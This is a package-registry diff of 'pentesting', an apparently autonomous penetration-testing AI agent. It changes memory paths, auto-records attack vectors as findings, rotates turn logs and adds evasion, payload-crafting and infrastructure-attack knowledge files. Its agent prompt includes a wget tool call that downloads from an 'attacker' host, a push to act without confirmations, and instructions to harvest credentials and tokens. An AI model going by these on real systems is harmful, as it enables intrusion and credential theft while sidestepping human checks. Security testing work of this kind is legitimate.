pentesting 0.48.1 → 0.48.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -33,18 +33,6 @@ Pentesting support tool
33
33
 
34
34
  ## Quick Start with Docker (Recommended)
35
35
 
36
-
37
- ```bash
38
- docker run -it --rm \
39
- -e PENTEST_API_KEY="your_glm_api_key" \
40
- -e PENTEST_BASE_URL="https://open.bigmodel.cn/api/paas/v4" \
41
- -e PENTEST_MODEL="glm-5" \
42
- -v ./pentest-data:/root/.pentest \
43
- agnusdei1207/pentesting
44
- ```
45
-
46
- ### Using Brave Search
47
-
48
36
  ```bash
49
37
  docker run -it --rm \
50
38
  -e PENTEST_API_KEY="your_glm_api_key" \
package/dist/main.js CHANGED
@@ -331,7 +331,7 @@ var ORPHAN_PROCESS_NAMES = [
331
331
 
332
332
  // src/shared/constants/agent.ts
333
333
  var APP_NAME = "Pentest AI";
334
- var APP_VERSION = "0.48.1";
334
+ var APP_VERSION = "0.48.3";
335
335
  var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
336
336
  var LLM_ROLES = {
337
337
  SYSTEM: "system",
@@ -3237,7 +3237,7 @@ var EpisodicMemory = class {
3237
3237
  this.events = [];
3238
3238
  }
3239
3239
  };
3240
- var MEMORY_FILE = join3(MEMORY_DIR, "persistent-knowledge.json");
3240
+ var MEMORY_FILE = join3(WORKSPACE.MEMORY, "persistent-knowledge.json");
3241
3241
  var PersistentMemory = class {
3242
3242
  knowledge;
3243
3243
  constructor() {
@@ -3328,7 +3328,7 @@ var PersistentMemory = class {
3328
3328
  }
3329
3329
  save() {
3330
3330
  try {
3331
- mkdirSync2(MEMORY_DIR, { recursive: true });
3331
+ mkdirSync2(WORKSPACE.MEMORY, { recursive: true });
3332
3332
  writeFileSync4(MEMORY_FILE, JSON.stringify(this.knowledge, null, 2));
3333
3333
  } catch {
3334
3334
  }
@@ -9795,7 +9795,10 @@ function clearWorkspace() {
9795
9795
  { path: WORKSPACE.DEBUG, label: "debug logs" },
9796
9796
  { path: WORKSPACE.TMP, label: "temp files" },
9797
9797
  { path: WORKSPACE.OUTPUTS, label: "outputs" },
9798
- { path: WORKSPACE.JOURNAL, label: "journal" }
9798
+ { path: WORKSPACE.JOURNAL, label: "journal" },
9799
+ { path: WORKSPACE.TURNS, label: "turn records" },
9800
+ { path: WORKSPACE.LOOT, label: "loot" },
9801
+ { path: WORKSPACE.REPORTS, label: "reports" }
9799
9802
  ];
9800
9803
  for (const dir of dirsToClean) {
9801
9804
  try {
@@ -10767,6 +10770,30 @@ RULES:
10767
10770
  this.state.addLoot({ type: LOOT_TYPES.CREDENTIAL, host: "auto-extracted", detail: cred, obtainedAt: Date.now() });
10768
10771
  }
10769
10772
  }
10773
+ if (digestResult?.memo?.attackVectors.length && digestResult.memo.attackValue === "HIGH") {
10774
+ const existingTitles = new Set(this.state.getFindings().map((f) => f.title));
10775
+ for (const vector of digestResult.memo.attackVectors) {
10776
+ const title = `[Auto] ${vector.slice(0, 100)}`;
10777
+ if (!existingTitles.has(title)) {
10778
+ this.state.addFinding({
10779
+ id: generateId(),
10780
+ title,
10781
+ severity: "high",
10782
+ affected: [],
10783
+ description: `Auto-extracted by Analyst LLM: ${vector}`,
10784
+ evidence: digestResult.memo.keyFindings.slice(0, 5),
10785
+ isVerified: false,
10786
+ remediation: "",
10787
+ foundAt: Date.now()
10788
+ });
10789
+ this.state.attackGraph.addVulnerability(title, "auto-detected", "high", false);
10790
+ existingTitles.add(title);
10791
+ }
10792
+ }
10793
+ }
10794
+ if (this.state.getFindings().length > 0 && this.state.getPhase() === PHASES.RECON) {
10795
+ this.state.setPhase(PHASES.VULN_ANALYSIS);
10796
+ }
10770
10797
  }
10771
10798
  /**
10772
10799
  * Enrich tool error — delegates to extracted module (§3-1)
@@ -11308,6 +11335,26 @@ function rotateOutputFiles() {
11308
11335
  } catch {
11309
11336
  }
11310
11337
  }
11338
+ function rotateTurnRecords() {
11339
+ try {
11340
+ const turnsDir = WORKSPACE.TURNS;
11341
+ if (!existsSync8(turnsDir)) return;
11342
+ const files = readdirSync2(turnsDir).filter((f) => f.startsWith(TURN_PREFIX) && f.endsWith(".md")).sort();
11343
+ if (files.length <= MAX_JOURNAL_ENTRIES) return;
11344
+ const toDelete = files.slice(0, files.length - MAX_JOURNAL_ENTRIES);
11345
+ for (const file of toDelete) {
11346
+ try {
11347
+ unlinkSync5(join10(turnsDir, file));
11348
+ } catch {
11349
+ }
11350
+ }
11351
+ debugLog("general", "Turn records rotated", {
11352
+ deleted: toDelete.length,
11353
+ remaining: MAX_JOURNAL_ENTRIES
11354
+ });
11355
+ } catch {
11356
+ }
11357
+ }
11311
11358
 
11312
11359
  // src/agents/prompt-builder.ts
11313
11360
  var __dirname3 = dirname5(fileURLToPath3(import.meta.url));
@@ -11337,8 +11384,14 @@ var CORE_KNOWLEDGE_FILES = [
11337
11384
  // Attack prioritization, first-turn protocol, upgrade loop
11338
11385
  AGENT_FILES.ORCHESTRATOR,
11339
11386
  // Phase transitions, multi-target management
11340
- AGENT_FILES.EVASION
11387
+ AGENT_FILES.EVASION,
11341
11388
  // Detection avoidance (always relevant)
11389
+ AGENT_FILES.ZERO_DAY,
11390
+ // Known CVE lookup + unknown vuln discovery methodology
11391
+ AGENT_FILES.PAYLOAD_CRAFT,
11392
+ // Payload mutation and filter bypass techniques
11393
+ AGENT_FILES.INFRA
11394
+ // Active Directory / infrastructure attack methodology
11342
11395
  ];
11343
11396
  var PHASE_TECHNIQUE_MAP = {
11344
11397
  [PHASES.RECON]: ["network-svc", "shells", "crypto"],
@@ -12028,7 +12081,7 @@ ${extraction.content.trim()}
12028
12081
  try {
12029
12082
  ensureDirExists(WORKSPACE.TURNS);
12030
12083
  const ts = (/* @__PURE__ */ new Date()).toISOString().replace(/[:.]/g, "-").slice(0, 19);
12031
- const turnFileName = `turn-${String(this.turnCounter).padStart(3, "0")}_${ts}.md`;
12084
+ const turnFileName = `turn-${String(this.turnCounter).padStart(4, "0")}_${ts}.md`;
12032
12085
  const turnPath = join13(WORKSPACE.TURNS, turnFileName);
12033
12086
  const turnContent = formatTurnRecord({
12034
12087
  turn: this.turnCounter,
@@ -12073,6 +12126,7 @@ ${turnData}`
12073
12126
  }
12074
12127
  rotateJournalEntries();
12075
12128
  rotateOutputFiles();
12129
+ rotateTurnRecords();
12076
12130
  } catch {
12077
12131
  }
12078
12132
  this.turnCounter++;
@@ -115,11 +115,41 @@ bg_process({ action: "interact", command: "wget http://attacker/file -O /tmp/fil
115
115
 
116
116
  ### 1. Act, Don't Ask
117
117
  - ScopeGuard enforces boundaries. Out-of-scope targets are automatically blocked
118
- - Record findings immediately with add_finding
119
118
  - **Execute tasks immediately without unnecessary confirmations/questions**
120
119
  - If no results → **try a different approach** (never repeat the same method)
121
120
  - ask_user is for: (1) physically unobtainable information (passwords, SSH keys, API tokens), (2) **confirming you're truly done** when all vectors are exhausted
122
121
 
122
+ ### 🔴 CRITICAL: State Management — MANDATORY AFTER EVERY DISCOVERY
123
+
124
+ **You MUST call these tools to record your progress. If you skip these, your findings are LOST.**
125
+
126
+ **`add_finding`** — Call IMMEDIATELY when you **CONFIRM** a vulnerability:
127
+ - Confirmed LFI/RFI → `add_finding` with evidence (the actual command output)
128
+ - Confirmed SQLi → `add_finding` with evidence
129
+ - Confirmed RCE → `add_finding` with evidence
130
+ - Confirmed auth bypass → `add_finding` with evidence
131
+ - **Rule: If you can reproduce it, it's a confirmed finding. Record it NOW.**
132
+
133
+ **`add_target`** — Call when you discover a new host or service:
134
+ - New IP found during recon → `add_target`
135
+ - New ports/services discovered → `add_target` (merges with existing)
136
+
137
+ **`add_loot`** — Call when you find credentials, tokens, keys, hashes:
138
+ - Password, hash, API key, SSH key, JWT, session cookie → `add_loot`
139
+
140
+ **`update_phase`** — Call when your ACTIVITY changes:
141
+ - Scanning/enumerating services → `update_phase({ phase: "recon" })`
142
+ - Testing for vulnerabilities → `update_phase({ phase: "vulnerability_analysis" })`
143
+ - Exploiting confirmed vulns → `update_phase({ phase: "exploit" })`
144
+ - Post-access enumeration → `update_phase({ phase: "post_exploitation" })`
145
+ - Escalating privileges → `update_phase({ phase: "privilege_escalation" })`
146
+ - Moving to other hosts → `update_phase({ phase: "lateral_movement" })`
147
+
148
+ ⚠️ **Self-Check Every Turn:**
149
+ - "Did I confirm a vulnerability but NOT call `add_finding`?" → Call it NOW
150
+ - "Am I exploiting but Phase is still 'recon'?" → Call `update_phase` NOW
151
+ - "Did I find credentials but NOT call `add_loot`?" → Call it NOW
152
+
123
153
  ### 2. ask_user Rules
124
154
  - Use received values **immediately in the next command** — receiving and not using is forbidden
125
155
  - Once received → **reuse** — never ask for the same thing again
@@ -602,9 +632,9 @@ Your past actions and insights are saved as files. Use them freely:
602
632
 
603
633
  ```
604
634
  .pentesting/memory/turns/
605
- ├── summary.md ← Full session summary (updated every turn)
606
- ├── turn-001_2026-02-21T08-30-15.md ← Turn 1 details
607
- ├── turn-002_2026-02-21T08-31-22.md ← Turn 2 details
635
+ ├── summary.md ← Full session summary (updated every turn)
636
+ ├── turn-0001_2026-02-21T08-30-15.md ← Turn 1 details
637
+ ├── turn-0002_2026-02-21T08-31-22.md ← Turn 2 details
608
638
  └── ...
609
639
  ```
610
640
 
@@ -615,5 +645,5 @@ Your past actions and insights are saved as files. Use them freely:
615
645
 
616
646
  **How to use:**
617
647
  - `summary.md` gives you the full picture — read it to understand where you stand
618
- - Need details of a specific past turn? → `read_file(".pentesting/memory/turns/turn-005_...")`
648
+ - Need details of a specific past turn? → `read_file(".pentesting/memory/turns/turn-0005_...")`
619
649
  - All past findings, credentials, dead ends are preserved — never lost
@@ -620,7 +620,7 @@ Layer 2 — Structural Reduction (cost: ~1ms)
620
620
  Layer 3 — Semantic Digest (cost: ~2-5s, separate LLM call)
621
621
  Only fires for truly massive outputs (>50K after Layer 1+2).
622
622
  Produces a focused 30-line intelligence summary.
623
- Full output is ALWAYS saved to ~/.pentesting/outputs/ for reference.
623
+ Full output is ALWAYS saved to .pentesting/outputs/ for reference.
624
624
  ```
625
625
 
626
626
  ### Agent Behavioral Rules for Output Handling
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "pentesting",
3
- "version": "0.48.1",
3
+ "version": "0.48.3",
4
4
  "description": "Autonomous Penetration Testing AI Agent",
5
5
  "type": "module",
6
6
  "main": "dist/main.js",